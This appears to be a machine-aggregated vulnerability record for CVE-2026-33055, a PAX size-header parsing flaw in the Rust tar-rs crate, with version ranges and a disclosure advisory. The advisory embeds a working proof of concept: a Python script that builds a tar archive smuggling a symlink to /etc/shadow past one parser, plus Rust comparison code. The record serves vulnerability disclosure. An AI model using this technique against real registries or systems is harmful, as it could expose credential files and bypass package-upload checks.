{"id":"CVE-2026-33055","aliases":["AZL-80318","AZL-80496","AZL-80505","AZL-80508","AZL-80520","AZL-83034","BELL-CVE-2026-33055","DEBIAN-CVE-2026-33055","EUVD-2026-13596","GHSA-gchp-q4r4-x4ff","RUSTSEC-2026-0068","UBUNTU-CVE-2026-33055"],"status":"published","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00422,"percentile":0.36804,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-843"],"published":"2026-03-19T12:00:00Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"crates.io","package":"tar","fixed_in":["0.4.45"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"rpm-ostree","fixed_in":["2024.4-10"],"sources":["osv"]},{"ecosystem":"Azure Linux:3","package":"rust","fixed_in":["1.75.0-28","1.90.0-7"],"sources":["osv"]},{"ecosystem":"Azure Linux:3","package":"trident","fixed_in":["0.22.0-1"],"sources":["osv"]},{"ecosystem":"Azure Linux:3","package":"clamav","fixed_in":["1.5.2-2"],"sources":["osv"]},{"ecosystem":"Alpaquita:23","package":"rust","fixed_in":["1.64.0-r5"],"sources":["osv"]},{"ecosystem":"Alpaquita:25","package":"rust","fixed_in":["1.87.0-r4"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"rust","fixed_in":["1.95.0-r0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"rust-tar","fixed_in":["0.4.45-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"rustc","fixed_in":["1.85.1+dfsg1-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"rustc","fixed_in":["1.92.0+dfsg1-2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.44"},{"fixed":"0.4.45"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"tardev-snapshotter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.2.0.tardev1-11"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rpm-ostree","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2024.4-10"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.75.0-28"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.85.0"},{"fixed":"1.90.0-7"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"trident","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0-1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"clamav","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.2-2"}]}]},{"source":"osv","ecosystem":"Alpaquita:23","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.64.0-r1"},{"fixed":"1.64.0-r5"}]}]},{"source":"osv","ecosystem":"Alpaquita:25","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.87.0-r1"},{"fixed":"1.87.0-r4"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.69.0-r10"},{"fixed":"1.95.0-r0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.38-1","0.4.38-2","0.4.40-1","0.4.43-1","0.4.43-2","0.4.43-3","0.4.43-4","0.4.44-1","0.4.45-1","0.4.45-2","0.4.46-1"]},{"source":"osv","ecosystem":"Debian:13","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.43-4","0.4.44-1","0.4.45-1","0.4.45-2","0.4.46-1"]},{"source":"osv","ecosystem":"Debian:14","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.45-1"}]}],"versions":["0.4.43-4","0.4.44-1"]},{"source":"osv","ecosystem":"Debian:12","package":"rustc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.63.0+dfsg1-2","1.64.0+dfsg1-1","1.64.0+dfsg1-1~exp1","1.64.0+dfsg1-1~exp2","1.64.0+dfsg1-1~exp3","1.64.0+dfsg1-1~exp4","1.65.0+dfsg1-1","1.65.0+dfsg1-1~exp1","1.65.0+dfsg1-1~exp2","1.65.0+dfsg1-1~exp3","1.65.0+dfsg1-2","1.66.0+dfsg1-1","1.66.0+dfsg1-1~exp1","1.67.1+dfsg1-1","1.67.1+dfsg1-1~exp1","1.68.2+dfsg1-1","1.68.2+dfsg1-1~exp1","1.69.0+dfsg1-1","1.69.0+dfsg1-1~exp1","1.69.0+dfsg1-1~exp2","1.70.0+dfsg1-1","1.70.0+dfsg1-1~exp1","1.70.0+dfsg1-1~exp2","1.70.0+dfsg1-1~exp3","1.70.0+dfsg1-2","1.70.0+dfsg1-2~exp1","1.70.0+dfsg1-3","1.70.0+dfsg1-4","1.70.0+dfsg1-5","1.70.0+dfsg1-6","1.70.0+dfsg1-7","1.70.0+dfsg1-8","1.70.0+dfsg1-8.1","1.70.0+dfsg1-9","1.70.0+dfsg2-1","1.70.0+dfsg2-1+loong64","1.70.0+dfsg2-1~exp1","1.70.0+dfsg2-1~exp2","1.70.0+dfsg2-1~exp3","1.71.1+dfsg1-1","1.71.1+dfsg1-1~exp1","1.71.1+dfsg1-1~exp2","1.71.1+dfsg1-2","1.72.1+dfsg1-1","1.72.1+dfsg1-1+hurd.1","1.72.1+dfsg1-1~exp1","1.72.1+dfsg1-1~exp2","1.73.0+dfsg1-1","1.73.0+dfsg1-1+hurd.1","1.73.0+dfsg1-1+loong64","1.73.0+dfsg1-1~exp1","1.74.1+dfsg1-1","1.74.1+dfsg1-1+hurd.1","1.74.1+dfsg1-1~exp1","1.75.0+dfsg1-1","1.75.0+dfsg1-1~exp1","1.75.0+dfsg1-2","1.75.0+dfsg1-3","1.75.0+dfsg1-4","1.75.0+dfsg1-4+hurd.1","1.75.0+dfsg1-5","1.76.0+dfsg1-1","1.76.0+dfsg1-1+hurd.1","1.76.0+dfsg1-1~exp1","1.77.2+dfsg1-1","1.77.2+dfsg1-1~exp1","1.78.0+dfsg1-1~exp1","1.78.0+dfsg1-2","1.79.0+dfsg1-1","1.79.0+dfsg1-1~exp1","1.79.0+dfsg1-2","1.79.0+dfsg1-2+hurd.1","1.80.0+dfsg1-1~exp1","1.80.1+dfsg1-1","1.80.1+dfsg1-1+hurd.1","1.80.1+dfsg1-1~exp1","1.81.0+dfsg1-1","1.81.0+dfsg1-1~exp1","1.81.0+dfsg1-1~exp2","1.81.0+dfsg1-2","1.82.0+dfsg1-1","1.82.0+dfsg1-1~exp1","1.82.0+dfsg1-1~exp2","1.82.0+dfsg1-1~exp3","1.82.0+dfsg1-2","1.83.0+dfsg1-1","1.83.0+dfsg1-1~exp1","1.84.0+dfsg1-1","1.84.0+dfsg1-1~exp1","1.84.0+dfsg1-2","1.85.0+dfsg1-1","1.85.0+dfsg2-1","1.85.0+dfsg2-2","1.85.0+dfsg2-3","1.85.0+dfsg3-1","1.85.0~beta.9+dfsg1-1~exp1","1.86.0+dfsg1-1","1.86.0+dfsg1-1~bpo13+1","1.86.0+dfsg1-1~bpo13+2","1.86.0+dfsg1-1~exp1","1.86.0+dfsg1-1~exp2","1.86.0+dfsg1-1~exp2+x32","1.86.0+dfsg1-1~exp3","1.86.0+dfsg1-1~exp4","1.87.0+dfsg1-1","1.87.0+dfsg1-1~bpo13+1","1.87.0+dfsg1-1~bpo13+2","1.87.0+dfsg1-1~exp1","1.88.0+dfsg1-1","1.88.0+dfsg1-1~exp1","1.88.0+dfsg1-2","1.88.0+dfsg1-2~bpo13+1","1.89.0+dfsg1-1","1.89.0+dfsg1-1~bpo13+1","1.89.0+dfsg1-1~bpo13+2","1.89.0+dfsg1-1~exp1","1.90.0+dfsg1-1","1.90.0+dfsg1-1~bpo13+1","1.90.0+dfsg1-1~bpo13+2","1.90.0+dfsg1-1~exp1","1.91.1+dfsg1-1","1.91.1+dfsg1-1~bpo13+1","1.91.1+dfsg1-1~bpo13+2","1.91.1+dfsg1-1~exp1","1.91.1+dfsg1-1~exp2","1.91.1+dfsg1-1~exp3","1.92.0+dfsg1-1","1.92.0+dfsg1-1~exp1","1.92.0+dfsg1-2","1.92.0+dfsg1-2~bpo13+1","1.93.1+dfsg1-1","1.93.1+dfsg1-1~exp1","1.93.1+dfsg1-2","1.93.1+dfsg1-2~bpo13+1","1.94.1+dfsg1-1","1.94.1+dfsg1-1~bpo13+1","1.94.1+dfsg1-1~bpo13+2","1.94.1+dfsg1-1~bpo13+3","1.94.1+dfsg1-1~exp1","1.94.1+dfsg1-1~exp2","1.94.1+dfsg1-1~exp3","1.95.0+dfsg1-1","1.95.0+dfsg1-2","1.95.0+dfsg1-2~bpo13+1","1.96.0+dfsg1-1~exp1","1.96.1+dfsg1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"rustc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.85.1+dfsg1-1+deb13u1"}]}],"versions":["1.85.0+dfsg3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"rustc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.92.0+dfsg1-2"}]}],"versions":["1.85.0+dfsg3-1","1.86.0+dfsg1-1","1.86.0+dfsg1-1~bpo13+1","1.86.0+dfsg1-1~bpo13+2","1.86.0+dfsg1-1~exp1","1.86.0+dfsg1-1~exp2","1.86.0+dfsg1-1~exp2+x32","1.86.0+dfsg1-1~exp3","1.86.0+dfsg1-1~exp4","1.87.0+dfsg1-1","1.87.0+dfsg1-1~bpo13+1","1.87.0+dfsg1-1~bpo13+2","1.87.0+dfsg1-1~exp1","1.88.0+dfsg1-1","1.88.0+dfsg1-1~exp1","1.88.0+dfsg1-2","1.88.0+dfsg1-2~bpo13+1","1.89.0+dfsg1-1","1.89.0+dfsg1-1~bpo13+1","1.89.0+dfsg1-1~bpo13+2","1.89.0+dfsg1-1~exp1","1.90.0+dfsg1-1","1.90.0+dfsg1-1~bpo13+1","1.90.0+dfsg1-1~bpo13+2","1.90.0+dfsg1-1~exp1","1.91.1+dfsg1-1","1.91.1+dfsg1-1~bpo13+1","1.91.1+dfsg1-1~bpo13+2","1.91.1+dfsg1-1~exp1","1.91.1+dfsg1-1~exp2","1.91.1+dfsg1-1~exp3","1.92.0+dfsg1-1","1.92.0+dfsg1-1~exp1","1.92.0+dfsg1-2~bpo13+1"]},{"source":"osv","ecosystem":"crates.io","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.45"}]}]},{"source":"osv","ecosystem":"crates.io","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.4.45"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.26-1","0.4.26-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.26-1","0.4.37-1","0.4.37-3","0.4.37-3ubuntu0.1~esm1","0.4.37-3ubuntu0.1","0.4.37-3ubuntu0.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.38-2","0.4.40-1","0.4.40-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.43-4","0.4.43-4ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.45-1","0.4.45-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.43-4","0.4.44-1","0.4.45-1"]}],"products":[{"vendor":"alexcrichton","product":"tar-rs"}],"references":[{"url":"https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62518","tags":["x_refsource_MISC","Third Party Advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33055","tags":["web","advisory"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2026-0068.html","tags":["web","advisory"]},{"url":"https://github.com/composefs/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff","tags":["web"]},{"url":"https://github.com/advisories/GHSA-gchp-q4r4-x4ff"},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-33055","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33055.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33055","tags":["advisory"]},{"url":"https://github.com/alexcrichton/tar-rs","tags":["package"]},{"url":"https://crates.io/crates/tar","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-33055","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33055","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-33055","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:06:08.39Z","modified":"2026-03-20T15:44:15.706Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-13596","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:06:08Z","modified":"2026-03-20T15:44:15Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:25:32.430758Z"}],"ghsa":[{"id":"GHSA-gchp-q4r4-x4ff","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n\u003e I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n    r = len(d) % B\n    return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n    h = bytearray(B)\n    h[0 : len(name)] = name\n    h[100:107] = b\"0000644\"\n    h[108:115] = h[116:123] = b\"0001000\"\n    h[124:135] = f\"{size:011o}\".encode()\n    h[136:147] = b\"00000000000\"\n    h[148:156] = b\"        \"\n    h[156:157] = typ\n    if link:\n        h[157 : 157 + len(link)] = link\n    h[257:263] = b\"ustar\\x00\"\n    h[263:265] = b\"00\"\n    h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n    return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used \u003c INFLATED:\n    ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: \u0026[u8]) {\n    println!(\"tar:\");\n    let mut ar = tar::Archive::new(data);\n    for e in ar.entries().unwrap() {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\nasync fn async_parse(data: Vec\u003cu8\u003e) {\n    println!(\"astral-tokio-tar:\");\n    let mut ar = tokio_tar::Archive::new(data.as_slice());\n    let mut entries = ar.entries().unwrap();\n    while let Some(e) = tokio_stream::StreamExt::next(\u0026mut entries).await {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\n#[tokio::main]\nasync fn main() {\n    let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n    let data = fs::read(\u0026path).unwrap();\n    sync_parse(\u0026data);\n    async_parse(data).await;\n}\n```\n\n```\ntar:\n  regular.txt          Regular\n  smuggled             Symlink -\u003e /etc/shadow\n\nastral-tokio-tar:\n  regular.txt          Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.","status":"published","published":"2026-03-20T17:25:05Z","modified":"2026-05-19T16:06:00Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T14:40:12.430932Z"}],"nvd":[{"id":"CVE-2026-33055","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13.543Z","modified":"2026-06-17T10:36:52.433Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"BELL-CVE-2026-33055","status":"published","published":"2026-07-22T06:06:04.989653Z","modified":"2026-08-01T07:15:11.903970498Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:28:23.572955Z"},{"id":"CVE-2026-33055","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:06:08.39Z","modified":"2026-10-28T02:30:53.433612107Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"DEBIAN-CVE-2026-33055","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13.543Z","modified":"2026-10-01T03:03:04.602569252Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-gchp-q4r4-x4ff","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n\u003e I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n    r = len(d) % B\n    return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n    h = bytearray(B)\n    h[0 : len(name)] = name\n    h[100:107] = b\"0000644\"\n    h[108:115] = h[116:123] = b\"0001000\"\n    h[124:135] = f\"{size:011o}\".encode()\n    h[136:147] = b\"00000000000\"\n    h[148:156] = b\"        \"\n    h[156:157] = typ\n    if link:\n        h[157 : 157 + len(link)] = link\n    h[257:263] = b\"ustar\\x00\"\n    h[263:265] = b\"00\"\n    h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n    return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used \u003c INFLATED:\n    ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: \u0026[u8]) {\n    println!(\"tar:\");\n    let mut ar = tar::Archive::new(data);\n    for e in ar.entries().unwrap() {\n        let e = 